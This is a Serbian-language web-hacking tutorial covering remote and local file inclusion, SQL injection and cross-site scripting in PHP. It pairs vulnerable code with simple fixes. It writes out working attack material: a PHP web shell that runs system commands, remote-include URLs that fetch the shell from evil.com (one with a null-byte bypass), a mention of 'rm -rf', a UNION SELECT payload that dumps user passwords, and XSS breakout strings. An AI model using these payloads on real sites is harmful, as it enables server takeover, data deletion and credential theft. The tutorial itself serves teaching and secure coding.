--= WebHacking
by d3hydr8
preveo baltazar
-= Intro
U ovom tutorialu,mi cemo razmatrati propuste,i sta polazi lose sa programerom,i neke nacine da ih exploatisemo..
Uzivajte!!
Tutorial: [ Osnove || 1 ]
+------------------------------------------+
|
| || Pocetak ||
|
+------------------------------------------+
Sta je potrebno da znate:
=- Vulnerability : sigurnosna rupa, moze se iskoristiti kako bi se promenio nacin kako software radi/funkcionise
=- CMS's : Forumi koriste baze podataka kako bi smestili informacije kao sto su users, posts, threads, messages i tako dalje,vecinom je to MySQL server.
=- RFI [ Remote File Inclusion ] : hakeri mogu da ukljuce 'los' kod koji ce se izvrsiti na ranjivom sajtu..
=- LFI [ Local File Inclusion ] : hakeri mogu da otvore bilo koji fajl na serveru.
=- SQL Injection : Ubacivanje MySql upita kako bi se zaobisao mehanizam zastite ili dobilo vise podataka o bazi
=- XSS [ Cross Site Scripting ] : ako je trajni propust,gde je korisnikov input snimljen, korisnik moze da loguje cookies, IP, i jos mnogo stosta...
=- Exploit : script napravljen da iskoristi propust
+------------------------------------------+
|
| || Sta polazi naopako ||
|
+------------------------------------------+
Uzecemo svaki propust, i pogledacemo sta polazi u krivom smeru sa programerom, sto cini skript ranjivim...
=- RFI ::
RFI's je exploatisan izvrsavanjem 'zlonamernog' koda sa drugog sajta,na zarazeni sajt, npr. mozete da izvrsite PHP shell, i izvrsavate komande na serveru...
Ovaj propust je veoma opasan i sajt ranjiv na RFI moze biti zauzet lako...
primer koda ranjivog na RFI:
<?php
$page = $_GET['page'];
if (isset($page))
{
include($page);
}
?>
kao sto mozete videti, mi uzimamo variable stranicu, i ukljucujemo je, sad ce skript raditi divno i obavljati ono za sta je namenjen, na primer:
www.example.com/index.dmz?page=contact.dmzovo bi trebalo da otvori contact.dmz, ALI , sta ce haker da uradi?
www.example.com/index.dmz?page=http://www.evil.com/shell.txt?shell kod mora biti u txt fajlu, jer ce ovako kod biti izvrsen na ranjivom sajtu
Sta se onda desava?
<?php
$page = $_GET['page'];
if (isset($page))
{
include('http://www.evil.com/shell.txt?');
}
?>
ovaj txt fajl ce biti ucitan, pa recimo da shell.txt ima sledeci kod:
<?php
$command = $_GET['cmd'];
if ($command)
{
@system($command);
}
echo "
<form method='GET'>
<input type='text' name='cmd'>
<input type='submit' name='submit' value='Go!'>
</form>";
?>
Mali textualni prozor ce se pojaviti na stranici, sa dugmetom, koje ce izvrsavati komande... haker moze da zauzme ceo sajt koristeci ovaj mali prozorcic, ako ima dovoljno privilegija, moze da uradi sledece:
rm -rf
i da izbrise vase fajlove...
neki strucnjaci misle da mogu da sprece gresku u kodu na sledeci nacin:
<?php
$page = $_GET['page'];
$page = $page . ".php";
if (isset($page))
{
include($page);
}
?>
na ovaj nacin, mozete samo da ukljucite .php fajlove, i to nije nesto narocito jer PHP skripte se izvrsavaju na serverskoj strani...
ali, to nece zaustaviti neke ljude, postoji nesto sto se naziva NullByte, to ce jednostavno reci PHP da ignorise sve posle toga... ako bi neko da exploatise taj kod uradice sledece:
www.darkmindz.com/index.dmz?page=http://www.evil.com/shell.txt?%00kao sto mozete videti, [ %00 ] je NullByte, to ce biti ovako izvrseno:
<?php
$page = $_GET['page'];
$page = $page . ".php";
if (isset($page))
{
include('http://www.evil.com/shell.txt?'); // ignorusuci sve posle NullByte sto je u ovom slucaju .php
}
?>
Sledi pitanje kako da obezbedimo kompletno ove URL sisteme?!
mozete da koristite switch statement, i na ovaj nacin nista nece biti izvrseno:
<?php
if(isset($_REQUEST['page']))
{
switch ($_REQUEST['page']) {
case 'about':
include('about.php'); // ako je stranica about, ucitaj about.php sadrzaj...
break;
case 'contact':
include('contact.php'); // i tako dalje
break;
default:
include('index.php');
}
}
?>
to je perfektan sistem, jednostavan, siguran,i radi:)
Sad to je gotovo, RFI, je slican LFI, nista nije drugacije, ali cinjenica da LFI uzima samo stranice sa servera, vecinom vremena download skripte su ranjive na LFI, jer su napravljene da citaju fajlove(); to je lose programiranje
Prelazimo na SQL injection, koje su smrtonosne kada su E-Commerce sajtovi ranjivi !!
haker ce exploatisati ranjiv kod, zaobilazeci login formu, i logovajuci se kao Admin.
ili ubacivajuci URL i tako izvrsavajuci MySQL upite, sto moze da ga dovede do citanja poverljivih informacija...
Primer ranjivog koda:
<?php
$host = "localhost";
$user = "root";
$pass = "r00t";
$db = "banks";
mysql_connect($host, $user, $pass);
mysql_select_db($db);
$id = $_GET['id'];
if (isset($id))
{
$query = mysql_query("SELECT * FROM `news` WHERE `id` = $id");
if ($query)
{
while($news = mysql_fetch_array($query))
{
echo $news['news'];
}
}
}
?>
sad, kao sto mozete videti, uzima 'id' variable, i izvrsava, bez filtera!!!
sad ako zelim da uradim sql inject, prvo cu proveriti za ranjivost.... radeci sledece:
www.example.com/page.php?id=1 OR 2
IF 2 news su tu, onda sam srecan
, a sad ide dobra stvar, gde su informacije extraktovane,koristeci UNION komandu, mogu da izaberem iz druge kolone i da ih izlistam...
tako da ce injection bit:
www.example.com/page.php?id=1 OR 2 UNION SELECT name,1,password,email FROM users
ovo bi trebalo da izlista lozinke, na stranicu. sad zaviseci od brojeva polja u news koloni, moracu da promenim broj polja u koloni news
sad znamo sta nije u redu, idemo da ga osiguramo!!
<?php
$host = "localhost";
$user = "root";
$pass = "r00t";
$db = "banks";
@mysql_connect($host, $user, $pass); // dodavajuci @ znak dovecemo do oslobadjanja greske,greske nece biti prikazane niti ce DB biti selektovan ili ce konekcija biti odbacena
@mysql_select_db($db);
$id = (Int) $_GET['id'];
if (isset($id))
{
$query = mysql_query("SELECT * FROM `news` WHERE `id` = $id");
if ($query)
{
while($news = mysql_fetch_array($query))
{
echo $news['news'];
}
}
}
?>
to je to ,ovaj kod je siguran...
Prelazimo na XSS, koji i nije toliko riskantan ukoliko nije trajan!
primeri stalnog XSS bili bi u guestbook, comments, contact forms, mailing lists, etc...
Sta hakeri mogu da urade?
pa, moze da iskoristi javascript da izmeni titl, forms, prices, hidden data, pages, actions, ...
neki CMS's i forumi, koriste cookies i stavljaju korisnikove informacije u njega, ako je taj sajt ranjiv na XSS, napadac moze dobiti administratorske privilegije tako sto ce logovati admin cookies...
Ranjiv kod bi bio:
<?php
$message = $_POST['message'];
if (isset($_POST['message']))
{
echo "Thank you, your message has been posted!";
echo "<br />";
echo $message;
}
echo "
<form method='post' name='message_box'>
<input type='text' name='message'>
<input type='submit' name='submit'>
</form>";
?>
ok, napadaci mogu da urade sledece:
postavi sledeci text kako bi testirao ranjivost :
<script>alert("xss")</script>
or
<h1>0wn3d by baltazar!</h1>
AKo se HTML izvrsi, napadac ce preci na sledeci korak, tj na logovanje stranice.. tako sto ce je redirektovati na logger..
neke metode zaobilazenja filtera, na primer, ako forma postavlja linkove, uzmimo ovo kao primer:
<?php
$message = $_POST['message'];
if (isset($_POST['message']))
{
echo "Thank you, your link has been added!";
echo "<br />";
echo "<a href='$message'>Link</a>";;
}
echo "
<form method='post' name='message_box'>
<input type='text' name='message'>
<input type='submit' name='submit'>
</form>";
?>
e sad to ne bi trebalo da izvrsi nista, ali jednostavno ce prelomiti link,zar ne?
e pa ne mislim tako,jednostavno ce te zaobici na sledeci nacin:
'> <script>alert("owned")</script>
zasto ovo zaobilazi?!
evo sta se desava,
'>
ce zaustaviti tag, i onda mozete da otvorite sve ostalo...
evo ga rezultat:
<a href=''> <script>alert("owned")</script>'>Link</a>
kao sto mozete videti,tag je zatvoren sto mi omogucava da otvorim drugi tag, u kojem je skripta. i radi
+------------------------------------------+
|
| || KRAJ ||
|
+------------------------------------------+
Dakle,gotovi smo sad
, nadam se da ste uzivali u tutorijalu, i naucili nesto novo iz njega...